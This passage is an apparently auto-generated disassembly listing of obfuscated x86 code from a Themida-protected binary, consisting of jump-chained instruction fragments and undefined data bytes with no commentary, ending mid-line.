loc_53BA46: ; CODE XREF: Themida_:00540375j add edx, 4 push esi jmp loc_536FA6 ; --------------------------------------------------------------------------- dw 0C281h dd 53CC74FDh, 34FF0288h, 0F2D1E924h, 0ED81FFFFh, 4, 556A68h dd 242C8900h, 42474FFh, 24048F5Dh, 415CE9h, 3E98100h, 16FD47Bh dd 0DDA8E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53BA8A: ; CODE XREF: Themida_:005363D1j sub esp, 4 mov [esp], edx neg dword ptr [esp] mov edx, [esp] add esp, 4 not edx not edx jmp loc_53A172 ; --------------------------------------------------------------------------- dw 0DAF7h dd 3731C281h, 51530FE7h, 104D21B9h, 59CB8910h, 161DE9h dd 5B810400h, 0FFACB0E9h, 59F581FFh, 8955C8B2h, 0E3815DEBh dd 4FE87B18h, 195E9h, 2474FF00h, 24048B04h, 0FFC526E9h db 0FFh ; --------------------------------------------------------------------------- loc_53BAE1: ; CODE XREF: Themida_:0053615Aj xor esi, 1CD5480Bh jmp loc_53DCE1 ; --------------------------------------------------------------------------- dd 0C00070BDh, 0BFC5816Dh, 81FAAF03h, 0FE2936EAh, 81EA297Ch dd 0FE2936C2h, 242C8B7Ch, 0FFD84CE9h, 5EF029FFh, 140CE95Bh dd 0C7010000h, 243C8758h, 4306E9h, 0FE95A00h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53BB27: ; CODE XREF: Themida_:005402A4j pop esp and edi, 396B164Dh jmp loc_5402DB ; --------------------------------------------------------------------------- aSzd db '\é§D',0 db 0 ; --------------------------------------------------------------------------- loc_53BB39: ; CODE XREF: Themida_:00540494j push dword ptr [esp] pop edx add esp, 4 push esi jmp loc_53EA18 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 2706E9h, 4EC8100h, 89000000h, 38BE2434h, 8369667Fh dd 3CE904ECh, 8BFFFFF3h, 0C483243Ch, 2EB8104h, 0E955143Bh dd 0FFFFA04Ah, 0BDE9F029h, 89FFFFC3h, 0E9542404h, 1DE2h dd 8324148Bh, 402D04C4h, 17BA4D1h, 365AE9C7h, 8B660000h dd 89522414h, 4C281E2h, 81000000h, 2C2h, 0DF5EE900h, 34FFFFFFh dd 24048B24h, 81595451h, 4C1h, 3CE95200h, 8B00001Fh, 0CFE2424h dd 55E99C24h, 0C00004Dh, 2CE8D090h, 9BE952C1h, 89FFFFF0h dd 0DAE9240Ch db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53BBE7: ; CODE XREF: Themida_:00541018j push esp pop edi jmp loc_53DECE ; --------------------------------------------------------------------------- loc_53BBEE: ; CODE XREF: Themida_:0053C5ECj mov edx, 6DAD57DBh or edx, 180A1F28h and edx, 28692E84h jmp loc_5404F7 ; --------------------------------------------------------------------------- dd 8904EC83h, 30B82404h, 0C1434929h, 0E0C105E8h, 34E12503h dd 53482E16h, 3B457CBBh, 47F38126h, 29262945h, 0C5815BD8h dd 24CC156Dh, 0BB53C501h, 24CC156Dh, 585BDD29h, 2DCCE9h dd 8B5F5100h, 0C483240Ch, 7BF78104h, 0E936F90Fh, 2303h dd 42474FFh, 24048F5Ah, 635E95Ch, 1C330000h, 0DE9AE924h dd 0E3C1FFFFh, 0ABC38102h, 0F71A632Bh, 0BCCB81DBh, 0E9333C52h dd 547h, 240C8966h, 0C3807BB5h, 80EB00A8h, 1BE9A8EBh, 0BE00000Dh dd 33336D57h, 4602E6C1h, 28ACE9h, 4C48300h, 66515066h dd 662F0EB9h, 1922F181h, 0E9C88966h, 0FFFFCE60h, 8106E2C1h dd 8ED0FEEAh, 8BD601B1h, 0C4832414h, 24348704h, 243CD25Ch dd 9DEBE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53BCD6: ; CODE XREF: Themida_:0053614Cj push ecx push edx mov edx, 68A76BCBh add [esp+4], edx mov edx, [esp] jmp loc_537400 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E99CC83Bh, 0FFFF9DCDh, 0C181F101h, 20F62830h, 1A63E981h dd 335E3299h, 0C31240Ch, 852E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53BD0E: ; CODE XREF: Themida_:0053C34Ej mov esi, esp add esi, 4 push ebp mov ebp, 2 add esi, ebp jmp loc_535C42 ; --------------------------------------------------------------------------- loc_53BD23: ; CODE XREF: Themida_:0053D1DEj sub edx, 1 shr edx, 5 and edx, 2FDC2545h jmp loc_53AE84 ; --------------------------------------------------------------------------- db 55h dd 0EF5E9h db 0 ; --------------------------------------------------------------------------- loc_53BD3D: ; CODE XREF: Themida_:00539B6Bj xor ebx, 1A12C9Fh add ebx, 813AD8h add eax, ebx pop ebx push ebp jmp loc_53841C ; --------------------------------------------------------------------------- loc_53BD52: ; CODE XREF: Themida_:0053F054j sub esi, 2EB96AADh pop eax sub esi, 4 xchg esi, [esp] jmp loc_541958 ; --------------------------------------------------------------------------- db 81h dd 42404h, 815F0000h, 4C7h, 2662E900h, 8F590000h, 4DE92404h dd 5C000048h, 53242C89h, 0FFB0B3E9h, 9FE951FFh, 5DFFFFF7h dd 0E95B5853h, 3EA0h ; --------------------------------------------------------------------------- loc_53BD9C: ; CODE XREF: Themida_:00541C64j shr eax, 3 push edx mov edx, 763E5F14h not edx jmp loc_540304 ; --------------------------------------------------------------------------- dd 9C2424D2h, 0FF9D0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_53BDB5: ; CODE XREF: Themida_:00540E35j sub dh, bl pop ebx jmp loc_53E087 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 33240431h, 335C2404h, 14312414h, 24143324h, 0FFB167E9h dd 28F64FFh, 0FF9CE4E9h, 0FFCD31FFh, 0F2E92434h, 0AD000020h dd 15BB5357h, 6812132Ch, 80B470E0h, 0D7FE95Fh, 0DE200000h dd 83241C8Bh, 0CE8004C4h, 88506632h, 0BBE950E8h, 5E00000Ch dd 0E946851h, 0B1E916E5h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53BE1B: ; CODE XREF: Themida_:0053EBFDj sub eax, ebx pop ebx add eax, 0D7A603B0h jmp loc_53744C ; --------------------------------------------------------------------------- loc_53BE28: ; CODE XREF: Themida_:0053744Dj mov esi, eax push esi mov ebp, [esp] add esp, 4 pop esi mov eax, [esp] add esp, 4 jmp loc_53D80A ; --------------------------------------------------------------------------- dd 34FFCA89h, 0C11EE924h, 0B850FFFFh, 2, 8358C701h, 3C8904ECh dd 0EBE4E924h, 5158FFFFh, 0B9D0E953h, 431FFFFh, 24043324h dd 0FFFF12E9h db 0FFh ; --------------------------------------------------------------------------- loc_53BE71: ; CODE XREF: Themida_:00541FD3j neg ecx or ecx, 7FC937AAh xor ecx, 164044h push ecx add dword ptr [esp], 79453B65h jmp loc_53FFA3 ; --------------------------------------------------------------------------- dd 16E9535Ah, 0BB000027h, 20446DFEh, 68DBF7h, 0E9000000h dd 3905h, 256FBE56h, 40E91F43h, 58000050h, 7154ED81h, 0B2E91A14h dd 83FFFFEEh, 48702E8h, 0EA67E924h, 8956FFFFh, 4C681E6h dd 83000000h, 58E904EEh db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53BED7: ; CODE XREF: Themida_:0053622Fj xchg ebx, edi not ebx jmp loc_5361D8 ; --------------------------------------------------------------------------- dd 50E9E1F7h, 1FFFFCAh, 0D7C681EEh, 5D086050h, 4C681h dd 34330000h, 24343124h, 5C243433h, 9C2404FFh, 0FF9BB8E9h dd 2DD001FFh, 64EB7776h, 0FFEC0EE9h, 3EBF68FFh, 3C890000h dd 815F5424h, 4ECh, 24348900h, 5B7CBCBEh, 71C6811Eh, 81323930h dd 94AD29EEh, 3BC78150h, 16D6342h, 3BEF81F7h, 5E6D6342h dd 5302C783h, 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h dd 2474FF24h, 243C8B04h, 0E904C483h, 273Ah, 50F468h, 24148900h dd 3388C688h, 3EE95B5Ah, 1FFFF9Bh, 40E95BD8h, 0BEFFFFA0h dd 623B64CEh, 0FFA79DE9h, 59CD89FFh, 0E95DE829h, 21Fh ; --------------------------------------------------------------------------- loc_53BFA0: ; CODE XREF: Themida_:005401B8j mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_53AE63 ; --------------------------------------------------------------------------- db 56h, 81h, 0ECh dd 4, 0B9240C89h, 55A81C10h, 1CDDE9h db 0 ; --------------------------------------------------------------------------- loc_53BFC5: ; CODE XREF: Themida_:0053E72Bj pop edx push ebx sub esp, 4 mov [esp], ebp jmp loc_53D8CB ; --------------------------------------------------------------------------- loc_53BFD2: ; CODE XREF: Themida_:00541C02j mov ebx, [esp] add esp, 4 or esi, 5F386D27h xor esi, 4E2034E3h sub ebp, esi pop esi jmp loc_53A86A ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 5061h, 0E9240489h, 2853h, 0E914E941h, 0C680FFFFh dd 5AF0202Ch, 0FFFBC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_53C011: ; CODE XREF: Themida_:0053B0E8j mov eax, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_53AACE ; --------------------------------------------------------------------------- dw 0F380h aSng db '-énG',0 align 2 db '-',0 dd 16BC806h, 60005D8h, 0FCE96BC8h, 58000005h, 0E9243487h dd 2B71h ; --------------------------------------------------------------------------- loc_53C048: ; CODE XREF: Themida_:0053CF92j pop edi shl edi, 3 and edi, 4A4635FFh and edi, offset dword_485578 xor edi, 46B3143Ah mov edx, edi pop edi or esi, edx pop edx push 4FF3h mov [esp], ebx push ebp mov ebp, 1792A7Bh sub ebp, 894CDB94h mov ebx, ebp jmp loc_53DE47 ; --------------------------------------------------------------------------- loc_53C07F: ; CODE XREF: Themida_:0053B865j xchg ecx, esi xchg ebx, ecx push ebx jmp loc_53E3B3 ; --------------------------------------------------------------------------- db 58h, 83h, 0ECh dd 241C8904h, 6CD821BBh, 9E66E9C7h, 335CFFFFh, 2C31242Ch dd 242C3324h, 6624248Bh, 68240C8Bh, 7042h, 83241C89h, 8F5404ECh dd 97E92404h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C0BF: ; CODE XREF: Themida_:00540D40j and ebx, 20C23FC9h add ebx, 0DFFDC300h and eax, ebx mov ebx, [esp] add esp, 4 or edx, eax shl edx, 1 push 63A2h mov [esp], ecx push 4C21h mov [esp], ebx push ecx mov ecx, 24h jmp loc_53DE2F ; --------------------------------------------------------------------------- dw 0E981h dd 34EB98FCh, 0E959CA29h, 0FFFFC90Ch, 4C781h, 50530000h dd 3B5C36B8h, 58C3893Ch, 5C34F381h, 0C7813C3Bh, 7B3F7025h dd 87685653h, 5E71C77Bh, 47EE8146h, 81087617h, 0A2F5BC6h dd 0BCF6814Fh, 89D920C0h, 0E3C15EF3h, 0DEC38105h, 81F934D8h dd 0C802E0EFh, 81DF017Bh, 0C802E0C7h, 0DF015B7Bh, 3CDEEF81h dd 0EF81289Fh, 7B3F7025h, 0E9241C8Bh, 0FFFFA043h, 8B243487h dd 0D2E92424h, 29FFFFC7h, 0F316E9FAh, 5358FFFFh, 0C3FE13B3h dd 0F380DBF6h, 0C4E9806Eh, 28D1C180h, 0D1E980D9h, 24C3E9h dd 51DBA00h, 50055CFAh, 0E91AA809h, 25FCh, 971EFEB9h, 5A54525Dh dd 4C281h, 0B9510000h, 2CCB1465h, 1CE9D1F7h, 33000013h dd 9FE92404h, 81FFFFFCh, 0C0FCAAC3h, 442AE907h, 0B8500000h dd 133A33h, 5358C201h, 0FFAE15E9h, 48B66FFh, 4EAF6824h dd 2C890000h, 56E58924h, 4A2D49BEh, 0AE95200h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53C1FB: ; CODE XREF: Themida_:00536807j push dword ptr [esp+4] pop ebp jmp loc_53E454 ; --------------------------------------------------------------------------- loc_53C205: ; CODE XREF: Themida_:0053ACFBj push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] xor ebx, eax push dword ptr [eax] jmp loc_535AC1 ; --------------------------------------------------------------------------- dd 0C281D2F7h, 4EE50F4Eh, 0D8AEE951h, 0DE01FFFFh, 25EFBD55h dd 0C5830926h, 4D12E901h, 89500000h, 0CF8EE9E0h, 1487FFFFh dd 24248B24h, 0FFED2CE9h, 240483FFh, 1FEBE904h, 0BB530000h dd 282C56E0h, 4EC81h, 5AE90000h, 8BFFFFA8h, 0C4812404h dd 4, 0FFC0B60Fh, 9CE98734h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C283: ; CODE XREF: Themida_:00537B65j mov [esp], eax not dword ptr [esp] push dword ptr [esp] jmp loc_53EFC6 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 6Dh dd 89FFFFF9h, 8CE9243Ch, 88FFFFD4h, 877C88D7h, 2434FF01h dd 0FFAE55E9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h, 3121h ; --------------------------------------------------------------------------- loc_53C2BC: ; CODE XREF: Themida_:0053EBA4j mov ebx, [esp] add esp, 4 xor ah, 0B4h xor bl, ah pop eax xor al, bl pop ebx push edx mov dh, 7Ch sub dh, 1 push cx push eax mov al, 1Bh jmp loc_53CCD1 ; --------------------------------------------------------------------------- db 0B8h dd 3B3C05BCh, 50E92540h, 65E910EDh, 8F00003Ah, 0D6E92404h dd 89000037h, 0A9E92414h, 0FFFFFFD5h, 835F2434h, 143304C4h dd 24143124h, 50B3E9h, 0E9FE3100h, 5FCh, 5603EBC1h, 0FFD5F8E9h dd 4C781FFh, 81000000h, 4EFh, 243C8700h, 240C895Ch, 2434FF54h dd 4C48159h, 50000000h, 4B8h, 58C10100h, 0FFE2DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_53C349: ; CODE XREF: Themida_:0053C5BBj mov bx, [esp] push esi jmp loc_53BD0E ; --------------------------------------------------------------------------- db 5Ch dd 0FFABF0E9h, 0E0ED81FFh, 1463103h, 0C3835DEBh, 99BDE902h dd 0A568FFFFh, 0E900003Fh, 4F8h ; --------------------------------------------------------------------------- loc_53C374: ; CODE XREF: Themida_:005382F2j sub eax, 310000h jmp loc_53F040 ; --------------------------------------------------------------------------- dw 8B54h dd 0C481241Ch, 4, 0FFB3AAE9h, 59C829FFh, 265F685Fh, 2C890000h dd 5D7DBD24h, 0EB014D88h, 54E9525Dh, 0BBFFFFA4h, 448A52A8h dd 0C381D3F7h, 0DF07AD4h, 0CCE0F381h, 0DF8930E5h, 2C77E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C3C2: ; CODE XREF: Themida_:00539626j mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [edi+24h] loc_53C3DD: ; CODE XREF: Themida_:00538D40j push ebx push eax mov eax, 63A807A4h jmp loc_53986A ; --------------------------------------------------------------------------- loc_53C3E9: ; CODE XREF: Themida_:0053A081j add al, bl jmp loc_53B01A ; --------------------------------------------------------------------------- dd 0EE34E95Ah, 487FFFFh, 0D61E924h, 17680000h, 89000074h dd 8B542404h, 89562404h, 4C681E6h, 83000000h, 348704C6h dd 0F715E924h, 5653FFFFh, 493F57BEh, 0CE97E927h, 2D5BFFFFh dd 7562C3Fh, 2AB7C22Dh, 0E9C28929h, 0FFFFFC4Dh, 8704C383h dd 0E95C241Ch, 0FFFF9679h ; --------------------------------------------------------------------------- loc_53C448: ; CODE XREF: Themida_:0053B845j mov ebp, 4 add eax, ebp pop ebp push eax mov eax, esp add eax, 4 push edi mov edi, 4 sub eax, 739241A0h sub eax, edi jmp loc_539095 ; --------------------------------------------------------------------------- dw 248Bh dd 4216624h, 4AE99C24h, 1FFFF96h, 96BE9FBh, 2D400000h dd 713A3E31h, 8CFF9A05h, 0F1CE9C0h, 0D5890000h, 8324148Bh dd 3C8904ECh, 81E78924h, 4C7h, 0D0E5E900h, 0E9C1FFFFh dd 0CDE95706h, 5A000017h, 0FF9C5BE9h, 0ED815AFFh, 7F9C7EF3h dd 94E9EA01h, 66FFFFCBh, 52240C8Bh, 0BB53E289h, 4, 22A5E9h dd 665F2D00h, 28E9400Eh db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C4DF: ; CODE XREF: Themida_:0053FA94j xor [esp], edi xor edi, [esp] pop esp xor edx, edx push edx mov edx, esp add edx, 4 push edi mov edi, 5824CD9h or edi, 3B4103BEh jmp loc_53E7D6 ; --------------------------------------------------------------------------- loc_53C502: ; CODE XREF: Themida_:00538FA3j pop esp mov [esp], ebx jmp loc_53B34F ; --------------------------------------------------------------------------- db 83h dd 0E95104C4h, 0FFFFC709h ; --------------------------------------------------------------------------- loc_53C514: ; CODE XREF: Themida_:0053CC7Dj push edx pop ecx pop edx jmp loc_53AEBD ; --------------------------------------------------------------------------- loc_53C51C: ; CODE XREF: Themida_:0053D54Aj pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] jmp loc_53FA38 ; --------------------------------------------------------------------------- aR_0 db 'R¶%³º',0 db 0F3h, 5Ah, 0E9h dd 0FFFFB423h, 4568E9F7h, 8900002Dh, 31682414h, 83000002h dd 248904ECh, 9E7CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C55A: ; CODE XREF: Themida_:0054142Bj pop edx jmp loc_536547 ; --------------------------------------------------------------------------- dd 8B240C33h, 0F7662424h, 4EC83F1h, 0FFF60EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53C571: ; CODE XREF: Themida_:0053ADC3j or eax, eax jmp loc_53F38F ; --------------------------------------------------------------------------- loc_53C578: ; CODE XREF: Themida_:00542201j xchg ebx, [esp] pop esp push 2E76h jmp loc_53F031 ; --------------------------------------------------------------------------- loc_53C586: ; CODE XREF: Themida_:0053B6D3j pop cx sub esp, 4 mov [esp], edx mov dh, 0EDh push bx sub esp, 2 mov [esp], dx mov dl, 0C0h mov bl, dl pop dx sub dh, 65h add dh, bl push ecx mov ch, 2Ah sub ch, 0C5h add dh, ch mov ecx, [esp] add esp, 4 jmp loc_53C349 ; --------------------------------------------------------------------------- loc_53C5C0: ; CODE XREF: Themida_:00539645j add eax, ecx pop ecx shl eax, 1 jmp loc_54141C ; --------------------------------------------------------------------------- loc_53C5CA: ; CODE XREF: Themida_:0053B8B6j mov [esp], ecx jmp loc_535AC1 ; --------------------------------------------------------------------------- dw 0C483h dd 0FAF18104h, 0E97DBF1Fh, 0FFFFDB4Ah ; --------------------------------------------------------------------------- loc_53C5E0: ; CODE XREF: Themida_:0053B6E0j add eax, edi add [eax], esi pop eax mov esi, [esp] push eax mov eax, esp push edx jmp loc_53BBEE ; --------------------------------------------------------------------------- aRiSki db 'RˆÊéŠI',0 dd 4C48100h, 68000000h, 6B7Ch, 89241C89h, 0F4E950E3h, 2900000Bh dd 24048BC6h, 5104C483h, 95DA04B9h, 0E8B8E94Dh, 0E289FFFFh dd 4C281h, 0C2810000h, 2, 8B241487h, 0F0E92424h, 68FFFFF1h dd 4766h, 0BA241489h, 2B451D45h, 544FE9h, 442D6600h, 0A52D667Bh dd 4BFBE906h, 80580000h, 0C3800DC3h, 50C3002Ch, 807BB252h dd 0EAC0DCF2h, 0EC28003h, 0E95AD088h, 0FFFFCFF7h, 0E9243C87h dd 0FFFFFA1Ah, 4BAh, 0A3BA5200h, 0E97BFA78h, 0FFFFFB94h ; --------------------------------------------------------------------------- loc_53C690: ; CODE XREF: Themida_:0053CC8Aj pop edx shr ebp, 3 shr ebp, 7 xor ebp, 2C87608Ch xchg ecx, ebp not ecx xchg ecx, ebp sub ebp, 0D26B3CE2h and eax, ebp push dword ptr [esp] pop ebp push esi jmp loc_541371 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0EC830000h, 5568E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C6C6: ; CODE XREF: Themida_:00540B37j push eax sub esp, 4 mov [esp], esp jmp loc_53F963 ; --------------------------------------------------------------------------- aBGqCxp db 'ÃgQ]CX',0 db 0E9h dd 0FFFF93E1h ; --------------------------------------------------------------------------- loc_53C6E0: ; CODE XREF: Themida_:00536945j push ecx not dword ptr [esp] pop ecx push eax mov eax, 1 add ecx, eax pop eax or ecx, 5C8943D7h xor ecx, 0FDBFC3F7h and eax, ecx jmp loc_537EA0 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4BB53h, 0C1810000h, 48BF165Ch, 40D7E981h, 0D9296ED1h dd 40D7C181h, 0B8506ED1h, 48BF165Ch, 8B58C129h, 0C483241Ch dd 240C8704h, 241C895Ch, 5AE646BBh, 0E9D8315Ah, 2971h dd 0F0240481h, 836E9474h, 3C8904ECh, 0C830E924h, 535AFFFFh dd 0FFFDDAE9h, 9363E9FFh, 8951FFFFh, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0A597E95Ch, 0F781FFFFh, 12A75842h dd 24FCC781h, 3D68EA44h, 8900001Ah, 0BD55243Ch, 3B1F4A94h dd 4246C31h, 0BA525D5Dh, 3B1F4A94h, 8C5E9h, 0FCED8100h dd 100003Fh, 0C6835DEEh, 24348702h, 115DE9h, 48B6600h dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 89240C89h dd 4C181E1h, 68000000h, 48C2h, 0BB241C89h, 2, 4212E981h dd 0E9813EF4h, 216C663Ch, 0FFE4A9E9h, 0E38953FFh, 0FFAFB5E9h dd 7953BEFFh, 0E6816D86h, 3EF7388Ch, 435F681h, 0EE81617Bh dd 0E982BD70h, 5FE9F301h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C81B: ; CODE XREF: Themida_:00539354j mov [esp], cx push ebx mov bh, 9Eh jmp loc_5411A1 ; --------------------------------------------------------------------------- db 4Eh dd 5091EE81h, 0F329D7BCh, 0E9D3015Eh, 22BBh ; --------------------------------------------------------------------------- loc_53C838: ; CODE XREF: Themida_:00538056j xor edx, 5FFF8670h and eax, edx mov edx, [esp] jmp loc_53F666 ; --------------------------------------------------------------------------- loc_53C848: ; CODE XREF: Themida_:0053F241j add edx, 4 xchg edx, [esp] mov esp, [esp] push ebp sub esp, 4 mov [esp], ecx jmp loc_53D317 ; --------------------------------------------------------------------------- dd 0B021E9ACh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C866: ; CODE XREF: Themida_:00535D4Fj pop esp jmp loc_538DAC ; --------------------------------------------------------------------------- dd 89243C89h, 0EC8352E7h, 243C8904h, 3C7C3F68h, 81E95F44h dd 55FFFFC2h, 2BDh, 4EEB8100h, 1470D74h, 4EC381EBh, 5D470D74h dd 37D2E9h, 8AEB8000h, 8041EB80h, 0C3289EC3h, 809EEB80h dd 0B86841C3h, 8900006Bh, 32E92404h, 0E9FFFFBEh, 0FFFF9201h ; --------------------------------------------------------------------------- loc_53C8C0: ; CODE XREF: Themida_:00536CFAj mov eax, 38B6806h mov esi, 0FC7497F9h add esi, eax pop eax push esi xor dword ptr [esp], 75113DEh pop eax xor eax, 75113DEh mov esi, [esp] push edx jmp loc_541B28 ; --------------------------------------------------------------------------- loc_53C8E4: ; CODE XREF: Themida_:00536597j pop esi add esi, 4 jmp loc_542146 ; --------------------------------------------------------------------------- dd 0EC815366h, 4, 0B0240489h, 88515268h, 1AE950C5h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53C907: ; CODE XREF: Themida_:00537244j pop dword ptr [esp] pop esp jmp loc_537133 ; --------------------------------------------------------------------------- dd 5EF2015Fh, 34FF0288h, 0C4835A24h, 919FE904h, 0C781FFFFh dd 69323156h, 38E9EF29h, 80FFFFB3h, 0F0001AC6h, 51D8005Ah dd 0F5809BB5h, 4CED8092h, 6659E828h, 81241C8Bh, 2C4h, 0FC33000h dd 8B66C0B6h, 0A682414h, 89000077h, 5B54241Ch, 0FFBCDBE9h dd 56C329FFh, 702C8BBEh, 8BF3295Dh, 0C4812434h, 4, 4661B850h dd 0A905337Ah, 0E90E5606h, 0FFFFEE87h, 1B0505Bh, 0C30006B3h dd 4EBC058h, 0F380CBFEh, 32C38042h, 0FFE9B5E9h, 0D831ADFFh dd 339368h, 2CEBE900h, 59660000h, 8024EB80h, 0D8281AC3h dd 1FA1E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C9BE: ; CODE XREF: Themida_:0054119Cj or ebp, 0CFE3D23h neg ebp push esi mov esi, 18152897h push ebx mov ebx, 6109798Ah shr ebx, 5 sub ebx, 267007C2h jmp loc_539676 ; --------------------------------------------------------------------------- dd 0F624248Bh, 0B60F66F9h, 0AFD68CCh, 14890000h, 53E28924h dd 4BBh, 5BDA0100h, 5FB8BE56h, 0E6813DCEh, 534D3E9Eh, 1E9AF681h dd 5768114Ch, 89000006h, 0FCB9240Ch, 8147B319h, 32630BE9h dd 6CE9811Fh, 0F70E90A4h, 4789E9D9h, 835D0000h, 1C8704EBh dd 14AFE924h, 77FF0000h, 907FE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CA42: ; CODE XREF: Themida_:00540E20j xchg ebp, [esp] pop esp jmp loc_53B4E0 ; --------------------------------------------------------------------------- db 81h dd 0DAC537C6h, 5EF789CEh, 0FFBCE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_53CA59: ; CODE XREF: Themida_:0053F66Ej jnz loc_53A2B8 push 1 push dword ptr [esp] jmp loc_541751 ; --------------------------------------------------------------------------- dd 1ACDE958h, 4890000h, 9164E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CA7A: ; CODE XREF: Themida_:00536AE3j push edx mov edx, 63A807A4h jmp loc_53B8CD ; --------------------------------------------------------------------------- db 53h, 0E9h, 0C5h dd 80FFFFE9h, 8FE9CAF5h, 5A000012h, 1C22E9h, 0B2E95900h dd 8FFFFF90h, 39E92404h, 57FFFFFFh, 2F563DBFh, 0EEACE96Dh dd 0CA29FFFFh, 0E9D08959h, 0FFFFB329h, 4BD55h, 0E9010000h dd 9D13E95Dh, 0F488FFFFh, 8858E588h, 48B66C6h, 2C48324h dd 0EE86D5F6h, 0F6BDEE80h, 0B25251DEh, 5AD188BBh, 3059CE00h dd 24148BF0h, 4C481h, 36680000h, 89000055h, 5A542414h dd 0FFDF74E9h, 4EC81FFh, 89000000h, 0E389241Ch, 4C381h dd 0D0680000h, 89000043h, 44E9240Ch, 0B000003Dh, 45B280h dd 0BA50E9C2h, 31ADFFFFh, 9B6857D8h, 89000041h, 24B9240Ch dd 0E9050176h, 4C82h, 4345A135h, 3573558h, 0E9962CDCh dd 3A20h, 4240481h, 0E9000000h, 4DF0h, 285BFD30h, 240C8BE8h dd 2387E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53CB6E: ; CODE XREF: Themida_:0053D1F1j push esi mov esi, 4 jmp loc_53712B ; --------------------------------------------------------------------------- db 29h, 0DFh, 8Bh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add eax, edi push dword ptr [esp] pop edi push ebx jmp loc_542379 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 0E9h dd 0FFFFBFF9h ; --------------------------------------------------------------------------- loc_53CBA4: ; CODE XREF: Themida_:0053AE72j push edi mov edi, 57BF24F8h mov esi, edi mov edi, [esp] add esp, 4 sub esi, 2FC46481h neg esi or esi, 49981F3Ah add esi, 2662C045h mov [edi+24h], esi push dword ptr [esp] jmp loc_53FA63 ; --------------------------------------------------------------------------- loc_53CBD1: ; CODE XREF: Themida_:00540F49j dec esi xor esi, 9942756h xor esi, 9C40E53h jmp loc_538D4C ; --------------------------------------------------------------------------- db 66h dd 8F53E950h, 0D301FFFFh, 8124148Bh, 4C4h, 20586800h, 4890000h dd 0D295E924h, 0C33FFFFh, 240C3124h, 8B240C33h, 34FF2424h dd 0D38E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53CC16: ; CODE XREF: Themida_:005409FEj mov [esp], ebx mov ebx, esp jmp loc_5390BD ; --------------------------------------------------------------------------- dd 4240483h, 4C5815Dh, 56000000h, 5248E957h, 4810000h dd 0A21B0824h, 0EB815B7Eh, 7EA21B08h, 0FFDE50E9h, 8FE95CFFh dd 0FFFFFFECh, 16E92434h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53CC53: ; CODE XREF: Themida_:0053EAEEj sub eax, ebx sub eax, 744C349Dh pop ebx jmp loc_53EBDD ; --------------------------------------------------------------------------- loc_53CC60: ; CODE XREF: Themida_:00540403j pop edi push 5C49h mov [esp], ecx mov ecx, 22657110h or ecx, 38C95A1Eh jmp loc_53EA4A ; --------------------------------------------------------------------------- loc_53CC79: ; CODE XREF: Themida_:00542057j dec ecx shr ecx, 1 push ecx jmp loc_53C514 ; --------------------------------------------------------------------------- loc_53CC82: ; CODE XREF: Themida_:0053E129j add ebp, edx add ebp, 754F5CF9h jmp loc_53C690 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 21E92404h, 81000038h, 0CC3CE6CEh, 99BA5227h dd 310C7C18h, 0C6815AD6h, 1C89064Bh, 0EE9F201h, 0F7FFFFCEh dd 70F681D6h, 0F737041Bh, 64BB53DEh, 313FB737h, 0F7015BDEh dd 4EFEE9h db 0 ; --------------------------------------------------------------------------- loc_53CCD1: ; CODE XREF: Themida_:0053C2D6j mov ch, 43h sub ch, al pop eax and dh, ch pop cx shr dh, 3 push ebx mov bl, 49h jmp loc_538C95 ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 8DD3E99Ch, 0E951FFFFh, 0FFFF9BA9h, 2474FF51h, 0F07CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CCFE: ; CODE XREF: 